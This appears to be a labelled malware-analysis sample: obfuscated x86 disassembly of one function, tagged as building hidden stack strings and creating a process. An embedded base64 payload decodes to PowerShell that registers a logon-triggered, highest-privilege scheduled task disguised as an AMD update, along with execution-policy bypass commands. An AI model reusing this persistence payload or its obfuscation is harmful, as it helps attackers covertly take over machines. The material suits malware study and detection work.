Function at 0x10067100
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1144
call fcn.100b1520
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x100968b0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
sub esp, 4
mov eax, esp
mov dword [eax], str..NET_Framework_NGEN_v4.0.30320
lea ecx, [ebp - 0x38]
call fcn.10005f80
mov dword [ebp - 0x10], 0
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0x50]
mov dword [eax], ecx
call fcn.10066f60
add esp, 4
jmp 0x10067167
mov eax, dword [0x10280acc]
imul eax, dword [0x10280ad0]
imul eax, eax, 0x7cde9685
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x1e344bc3
and eax, 0xe1cbb43c
or ecx, eax
xor ecx, 0x94878e2b
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x95a1be12
and ecx, 0x6a5e41ed
or eax, ecx
cmp eax, 0x5c720559
je 0x100691a2
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x10cc], ecx
mov dword [eax], ecx
mov dword [eax + 8], 0xdc
mov dword [eax + 4], str.JHhtbFBhdGggPSAiWE1M6Lev5b6EIgokdGFza05hbWUgPSAi5Lu75Yqh5ZCN56ewIgokeG1sQ29udGVudCA9IEdldC1Db250ZW50IC1QYXRoICR4bWxQYXRoIHwgT3V0LVN0cmluZwpSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1YbWwgJHhtbENvbnRlbnQgLVRhc2tOYW1lICR0YXNrTmFtZQPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8CjxUYXNrIHZlcnNpb249IjEuMyIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZG93cy8yMDA0LzAyL21pdC90YXNrIj4KICA8UmVnaXN0cmF0aW9uSW5mbz4KICAgIDxEYXRlPjIwMDYtMTEtMTBUMTQ6Mjk6NTUuNTg1MTkyNjwvRGF0ZT4KICAgIDxBdXRob3ITWljcm9zb2Z0IENvcnBvcmF0aW9uPC9BdXRob3ICiAgICA8RGVzY3JpcHRpb245pu05paw55So5oi355qEIEFEIFJNUyDmnYPpmZDnrZbnlaXmqKHmnb_jgILlpoLmnpzlr7nmnI3liqHlmajkuIrmqKHmnb_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.xmlpowershell__Command__Set_ExecutionPolicy_Unrestricted__Scope_CurrentUser_powershell__ExecutionPolicy_Bypass__File_.
call fcn.101f00f0
add esp, 0xc
mov eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x60], eax
lea esi, [ebp - 0x141]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x10], 1
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x5c]
call fcn.10069d80
jmp 0x1006721a
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xbbc]
mov dword [ebp - 0x10d0], ecx
mov dword [eax], ecx
mov dword [eax + 8], 0xa64
mov dword [eax + 4], 0x10226ff8
call fcn.101f00f0
add esp, 0xc
mov eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x158]
mov dword [ebp - 0x154], eax
lea esi, [ebp - 0xbbd]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0x10], 2
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x150]
call fcn.10069d80
jmp 0x10067298
mov eax, dword [0x10280aec]
xor edx, edx
div dword [0x10280af0]
mov ecx, eax
xor ecx, 0xb73548e9
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xc5a05a6c
mov eax, ecx
and eax, 0x3a5fa593
imul eax, edx
mov edx, ecx
and edx, 0xc5a05a6c
or ecx, 0xc5a05a6c
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xb0f3b79d
xor ecx, 0xb0f3b79d
or eax, ecx
cmp eax, 0x575ceebe
jbe 0x100691ef
mov esi, dword [0x10280af4]
mov edx, dword [0x10280af8]
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x4ced3daf
and esi, 0xb312c250
mov eax, edx
xor eax, 0xffffffff
and eax, 0x4ced3daf
and edx, 0xb312c250
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd5ecde69
xor ecx, 0xffffffff
and ecx, 0xd5ecde69
or eax, ecx
xor eax, 0xffffffff
sub eax, 0xf15e0bb
add eax, 0x975b23c4
add eax, 0xf15e0bb
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9c03206f
mov ecx, eax
and ecx, 0x63fcdf90
imul ecx, edx
mov edx, eax
and edx, 0x9c03206f
or eax, 0x9c03206f
imul eax, edx
add eax, ecx
cmp eax, 0xcc7b128
jbe 0x100691ef
mov dword [ebp - 0x10], 3
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x5c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbd8]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x100673a3
mov eax, dword [0x10280afc]
xor edx, edx
div dword [0x10280b00]
mov edx, eax
xor edx, 0xffffffff
and edx, 0xc0fc7839
mov ecx, eax
and ecx, 0x3f0387c6
imul ecx, edx
mov edx, eax
and edx, 0xc0fc7839
or eax, 0xc0fc7839
imul eax, edx
add eax, ecx
mov ecx, 0x3ca6582b
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xc4bbed81
xor ecx, 0xffffffff
or eax, 0xc4bbed81
and eax, ecx
cmp eax, 0xdd17b171
ja 0x100691f4
mov dword [ebp - 0x10], 4
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x150]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbf0]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10067428
mov eax, dword [0x10280b0c]
imul eax, dword [0x10280b10]
sub eax, 0x62302c5e
add eax, 0x51cb1d2b
mov edx, eax
and edx, 0xd58d6ac
mov ecx, eax
or ecx, 0xd58d6ac
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf2a72953
or eax, 0xf2a72953
imul eax, edx
add eax, ecx
cmp eax, 0x82e06931
jb 0x100691f9
mov edx, dword [0x10280b14]
sub edx, dword [0x10280b18]
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xc61df72
and edx, 0xf39e208d
or eax, edx
xor eax, 0x6661e614
or ecx, 0x95ffc699
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0xaf56a03d
and eax, 0x50a95fc2
shl eax, 1
sub eax, ecx
sub eax, 0x69ccb6ba
mov dword [ebp - 0x10d4], eax
lea ecx, [ebp - 0xc08]
call fcn.10009080
lea ecx, [ebp - 0xc20]
call fcn.10009080
mov eax, dword [ebp - 0x10d4]
cmp eax, 0xe45dc492
ja 0x10067471
mov dword [ebp - 0x10], 0x2e
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbd8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc38]
mov dword [eax], ecx
call fcn.10062560
add esp, 8
jmp 0x1006750e
mov eax, dword [0x10280b1c]
add eax, dword [0x10280b20]
mov ecx, 0x26ec2ef3
xor edx, edx
div ecx
add eax, 0xd2d48434
add eax, 0x3220dd69
cmp eax, 0xd1ec9983
ja 0x10069214
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc38]
mov dword [ebp - 0x10d8], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc20]
call fcn.10007f10
mov ecx, dword [ebp - 0x10d8]
call fcn.100061b0
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbf0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc50]
mov dword [eax], ecx
call fcn.10062560
add esp, 8
jmp 0x1006758b
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc50]
mov dword [ebp - 0x10dc], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc08]
call fcn.10007f10
mov ecx, dword [ebp - 0x10dc]
call fcn.100061b0
mov dword [ebp - 0x10], 7
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax], ecx
mov dword [eax + 4], 0x1c
call fcn.10066810
add esp, 8
jmp 0x100675e1
mov byte [ebp - 0xca8], 0xce
mov byte [ebp - 0xca7], 0xc4
mov byte [ebp - 0xca6], 0xbc
mov byte [ebp - 0xca5], 0xfe
mov byte [ebp - 0xca4], 0xbe
mov byte [ebp - 0xca3], 0xf8
mov byte [ebp - 0xca2], 0xb6
mov byte [ebp - 0xca1], 0xd4
mov byte [ebp - 0xca0], 0xc2
mov byte [ebp - 0xc9f], 0xb7
mov byte [ebp - 0xc9e], 0xbe
mov byte [ebp - 0xc9d], 0xb6
lea eax, [ebp - 0xca8]
mov dword [ebp - 0xc9c], eax
lea eax, [ebp - 0xc9c]
mov dword [ebp - 0xc98], eax
lea esi, [ebp - 0xca9]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0xc9c]
mov edx, dword [ebp - 0xc98]
mov dword [ebp - 0x10], 8
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xc94]
call fcn.10069d80
jmp 0x1006768a
mov dword [ebp - 0x10], 0x2d
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc94]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x100676b4
mov eax, dword [0x10280b44]
mov ecx, dword [0x10280b48]
add eax, ecx
imul eax, eax, 0x11b54ce0
add eax, 0x5aab72a0
xor eax, 0x5008fd44
mov dword [ebp - 0x10ec], eax
lea ecx, [ebp - 0xc94]
call fcn.1004fcd0
mov eax, dword [ebp - 0x10ec]
mov ecx, esp
mov dword [ebp - 0x10e8], ecx
sub esp, 0x24
mov ecx, esp
mov dword [ebp - 0x10e4], ecx
add ecx, 4
mov dword [ebp - 0x10e0], ecx
cmp eax, 0x507593e9
ja 0x1006923b
mov ecx, dword [ebp - 0x10e0]
mov dword [ebp - 0x10], 9
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc08]
mov dword [eax], edx
call fcn.1003b940
jmp 0x10067733
mov eax, dword [ebp - 0x10e4]
lea ecx, [ebp - 0xcc4]
mov dword [eax], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0x50]
mov dword [eax + 0x20], ecx
call fcn.10063cd0
add esp, 0x24
jmp 0x1006775d
mov eax, dword [ebp - 0x10e8]
mov esp, eax
movsd xmm0, qword [0x10227a69]
movsd qword [ebp - 0xd13], xmm0
movups xmm0, xmmword [0x10227a5c]
movups xmmword [ebp - 0xd20], xmm0
lea eax, [ebp - 0xd20]
mov dword [ebp - 0xd08], eax
lea eax, [ebp - 0xd0b]
mov dword [ebp - 0xd04], eax
lea esi, [ebp - 0xd21]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0xd08]
mov edx, dword [ebp - 0xd04]
mov dword [ebp - 0x10], 0xa
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd00]
call fcn.10069d80
jmp 0x100677d8
mov eax, dword [0x10280b4c]
imul eax, dword [0x10280b50]
xor eax, 0xffffffff
or eax, 0x554956d7
xor eax, 0xffffffff
sub eax, 0xc3183eec
and eax, 0x78f0dbad
cmp eax, 0x7807cf9a
jae 0x1006924b
mov dword [ebp - 0x10], 0x2b
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd00]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcf4]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x1006782e
mov dword [ebp - 0x10], 0x2c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xcf4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcdc]
mov dword [eax], ecx
call fcn.10069e10
add esp, 0xc
jmp 0x10067861
lea ecx, [ebp - 0xcf4]
call fcn.100061b0
lea ecx, [ebp - 0xd00]
call fcn.1004fcd0
lea ecx, [ebp - 0xcdc]
call fcn.10008340
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd3c]
call fcn.10005f80
jmp 0x100678a2
mov eax, dword [0x10280b5c]
xor eax, dword [0x10280b60]
or eax, 0x3638ea64
mov ecx, eax
and ecx, 0x49fad3c3
shl ecx, 1
add eax, 0x49fad3c3
sub eax, ecx
add eax, 0x41eeed03
cmp eax, 0xbfaf0958
jae 0x10069250
mov eax, dword [0x10280b64]
mov edx, dword [0x10280b68]
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
xor ecx, 0x7b00539f
mov eax, ecx
xor eax, 0x6ce198a7
and ecx, 0x931e6758
shl ecx, 1
sub ecx, eax
mov eax, ecx
and eax, 0x15fd0ac7
xor eax, 0xffffffff
and ecx, 0x15fd0ac7
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
cmp eax, 0x3d6db2bc
jae 0x10069250
mov dword [ebp - 0x10], 0x2a
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xcc4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd3c]
mov dword [eax], ecx
call fcn.10064e90
add esp, 8
jmp 0x1006794a
lea ecx, [ebp - 0xd3c]
call fcn.100061b0
sub esp, 4
mov eax, esp
mov dword [eax], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
mov eax, esp
mov dword [ebp - 0x10f4], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x10f0], eax
lea ecx, [ebp - 0xcdc]
call fcn.10008340
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd6c]
call fcn.10005f80
jmp 0x100679a5
mov ecx, dword [0x10280b6c]
mov edx, dword [0x10280b70]
mov eax, ecx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xa2fa551a
imul eax, eax, 0xaf548ff2
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7ba754bb
mov ecx, eax
and ecx, 0x8458ab44
imul ecx, edx
mov edx, eax
and edx, 0x7ba754bb
or eax, 0x7ba754bb
imul eax, edx
add eax, ecx
cmp eax, 0xec3dc81a
jae 0x10069255
mov byte [ebp - 0xd9f], 0x58
mov byte [ebp - 0xd9e], 0x4d
mov byte [ebp - 0xd9d], 0x4c
mov byte [ebp - 0xd9c], 0xc2
mov byte [ebp - 0xd9b], 0xb7
mov byte [ebp - 0xd9a], 0xbe
mov byte [ebp - 0xd99], 0xb6
lea eax, [ebp - 0xd9f]
mov dword [ebp - 0xd98], eax
lea eax, [ebp - 0xd98]
mov dword [ebp - 0xd94], eax
lea esi, [ebp - 0xda0]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0xd98]
mov edx, dword [ebp - 0xd94]
mov dword [ebp - 0x10], 0x27
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd90]
call fcn.10069d80
jmp 0x10067a8f
mov ecx, dword [0x10280b84]
xor ecx, dword [0x10280b88]
add ecx, 0xe3ca2564
add ecx, 0xc7a42968
sub ecx, 0xe3ca2564
mov eax, ecx
xor eax, 0xffffffff
or eax, 0xe75e9888
xor eax, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xe75e9888
or eax, ecx
xor eax, 0xffffffff
add eax, 0xa437868c
cmp eax, 0x674bb20e
jbe 0x10067a8f
mov dword [ebp - 0x10], 0x28
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd90]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10067b02
mov eax, dword [0x10280b8c]
or eax, dword [0x10280b90]
xor eax, 0xe8da6b3a
imul eax, eax, 0xdb3a6f67
imul eax, eax, 0xfac97c42
cmp eax, 0xd9260fde
ja 0x100692b1
mov ecx, dword [ebp - 0x10f0]
mov eax, dword [0x10280b94]
imul eax, dword [0x10280b98]
mov edx, eax
and edx, 0xb961e906
xor edx, 0xffffffff
add eax, 0xb961e906
add eax, 1
add eax, edx
or eax, 0x1a1f7280
sub eax, 0x2bcf68bd
add ecx, 4
mov dword [ebp - 0x10f8], ecx
cmp eax, 0xf8db31b5
ja 0x100692b1
mov ecx, dword [ebp - 0x10f8]
mov dword [ebp - 0x10], 0x29
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc20]
mov dword [eax], edx
call fcn.1003b940
jmp 0x10067b92
mov eax, dword [0x10280b9c]
mov ecx, dword [0x10280ba0]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and eax, 0x88990a59
and ecx, 0x7766f5a6
or eax, ecx
mov ecx, 0x1c4c0264
xor edx, edx
div ecx
add eax, 0x2d450b47
cmp eax, 0xa9cab323
ja 0x100692b6
mov ecx, dword [ebp - 0x10f0]
mov eax, dword [0x10280ba4]
mov esi, dword [0x10280ba8]
mov edx, eax
and edx, esi
shl edx, 1
xor eax, esi
add eax, edx
add eax, 0x787f7817
sub eax, 0x6f7c630a
sub eax, 0x787f7817
mov edx, eax
xor edx, 0xffffffff
and edx, 0x34bd20c9
and eax, 0xcb42df36
sub eax, edx
sub eax, 0xef478408
lea edx, [ebp - 0xd54]
mov dword [ecx], edx
lea edx, [ebp - 0xd84]
mov dword [ecx + 0x1c], edx
lea edx, [ebp - 0xd6c]
mov dword [ecx + 0x20], edx
cmp eax, 0x1438a4c4
jb 0x100692b6
mov dword [ebp - 0x10], 0x29
call fcn.10063cd0
add esp, 0x24
jmp 0x10067c4a
mov eax, dword [0x10280bac]
and eax, dword [0x10280bb0]
add eax, 0xa01984fb
xor eax, 0xc9f878b8
mov ecx, eax
and ecx, 0xe644df97
mov edx, eax
xor edx, 0x19bb2068
add eax, edx
sub eax, ecx
cmp eax, 0x10da4938
je 0x100692db
mov eax, dword [0x10280bb4]
mov ecx, dword [0x10280bb8]
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x10f4]
add ecx, 0xc7e2bb53
mov edx, ecx
or edx, 0x8040e610
not ecx
and ecx, 0x3b10048
and edx, 0xe044feb3
or ecx, edx
mov dword [ebp - 0x1100], ecx
mov esp, eax
lea ecx, [ebp - 0xd84]
call fcn.100061b0
lea ecx, [ebp - 0xd90]
call fcn.1004fcd0
lea ecx, [ebp - 0xd6c]
call fcn.100061b0
mov eax, esp
mov dword [ebp - 0x1108], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x1104], eax
lea ecx, [ebp - 0x38]
call fcn.10008340
mov ecx, eax
mov eax, dword [ebp - 0x1100]
mov dword [ebp - 0x10fc], ecx
cmp eax, 0x4b7a12c8
jbe 0x100692db
mov ecx, dword [ebp - 0x10fc]
mov dword [ebp - 0x10], 0xc
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xdd0]
call fcn.10005f80
jmp 0x10067d34
mov eax, dword [0x10280bc4]
sub eax, dword [0x10280bc8]
and eax, 0xb9f8945
mov edx, eax
and edx, 0x8bf0715e
mov ecx, eax
or ecx, 0x8bf0715e
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x740f8ea1
or eax, 0x740f8ea1
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd80292d2
add eax, ecx
mov dword [ebp - 0x1114], eax
mov byte [ebp - 0xe04], 0xc8
mov byte [ebp - 0xe03], 0xce
mov byte [ebp - 0xe02], 0xce
mov byte [ebp - 0xe01], 0xf1
mov byte [ebp - 0xe00], 0xc3
mov byte [ebp - 0xdff], 0xfb
mov byte [ebp - 0xdfe], 0xb3
mov byte [ebp - 0xdfd], 0xc6
lea eax, [ebp - 0xe04]
mov dword [ebp - 0xdfc], eax
lea eax, [ebp - 0xe04]
add eax, 8
mov dword [ebp - 0xdf8], eax
lea ecx, [ebp - 0xe05]
call fcn.1004f950
mov eax, dword [ebp - 0x1114]
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp - 0x1110], ecx
mov ecx, dword [ebp - 0xdf8]
mov dword [ebp - 0x110c], ecx
cmp eax, 0xbee36d6c
ja 0x10069311
mov ecx, dword [ebp - 0x1110]
mov edx, dword [ebp - 0x110c]
mov dword [ebp - 0x10], 0x24
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0xe05]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xdf4]
call fcn.10069d80
jmp 0x10067e3e
mov eax, dword [0x10280bcc]
mov edx, dword [0x10280bd0]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x756db226
xor edx, edx
div ecx
add eax, 0x51c64a09
imul eax, eax, 0x8b93291
cmp eax, 0x2da26ffd
je 0x10069374
mov eax, dword [0x10280bd4]
imul eax, dword [0x10280bd8]
imul eax, eax, 0x459c0858
mov ecx, 0x3653d8e3
xor edx, edx
div ecx
xor eax, 0x22d6a58f
cmp eax, 0xbfa7b894
ja 0x10069374
mov dword [ebp - 0x10], 0x25
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xdf4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10067eca
mov ecx, dword [ebp - 0x1104]
mov eax, dword [0x10280be4]
mov esi, dword [0x10280be8]
mov edx, eax
xor edx, esi
xor edx, 0xffffffff
or eax, esi
and eax, edx
sub eax, 0xc7f38035
mov esi, 0x99651972
xor edx, edx
div esi
mov esi, eax
xor esi, 0xffffffff
and esi, 0x8bf9be04
mov edx, eax
and edx, 0x740641fb
imul edx, esi
mov esi, eax
and esi, 0x8bf9be04
or eax, 0x8bf9be04
imul eax, esi
add eax, edx
add ecx, 4
mov dword [ebp - 0x1118], ecx
cmp eax, 0x15573e5b
jb 0x10069379
mov ecx, dword [ebp - 0x1118]
mov dword [ebp - 0x10], 0x26
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xd54]
mov dword [eax], edx
call fcn.1003b940
jmp 0x10067f54
mov eax, dword [0x10280bec]
mov ecx, dword [0x10280bf0]
add eax, 0x9fd13704
sub eax, ecx
sub eax, 0x9fd13704
add eax, 0x8d89c1fb
sub eax, 0x8c17f5f0
add eax, 0xa1b047e1
add eax, 0x8c17f5f0
xor eax, 0xc0edfb47
cmp eax, 0xa07faabb
jb 0x1006937e
mov eax, dword [ebp - 0x1104]
lea ecx, [ebp - 0xdb8]
mov dword [eax], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xdd0]
mov dword [eax + 0x20], ecx
call fcn.10063cd0
add esp, 0x24
jmp 0x10067fbc
mov eax, dword [ebp - 0x1108]
mov esp, eax
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xdb8]
mov dword [ebp - 0x111c], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xd54]
call fcn.10007f10
mov ecx, dword [ebp - 0x111c]
call fcn.100061b0
lea ecx, [ebp - 0xde8]
call fcn.100061b0
lea ecx, [ebp - 0xdf4]
call fcn.1004fcd0
lea ecx, [ebp - 0xdd0]
call fcn.100061b0
mov dword [ebp - 0x10], 0xc
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf28]
mov dword [eax], ecx
mov dword [eax + 8], 0x10258c24
call fcn.1006a040
add esp, 0xc
jmp 0x1006803f
mov eax, dword [0x10280c04]
or eax, dword [0x10280c08]
mov ecx, 0x887a8ce6
xor edx, edx
div ecx
and eax, 0x2b2cf804
xor ecx, ecx
sub ecx, eax
add ecx, 0x53eb908a
xor eax, eax
sub eax, ecx
cmp eax, 0xd4307f1f
ja 0x100693a3
mov dword [ebp - 0x10], 0x19
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf28]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf10]
mov dword [eax], ecx
mov dword [eax + 8], 0x75
call fcn.1006a000
add esp, 0xc
jmp 0x100680a2
mov ecx, dword [0x10280c0c]
mov esi, dword [0x10280c10]
mov eax, ecx
xor eax, 0xffffffff
mov edx, esi
and edx, eax
mov edi, esi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
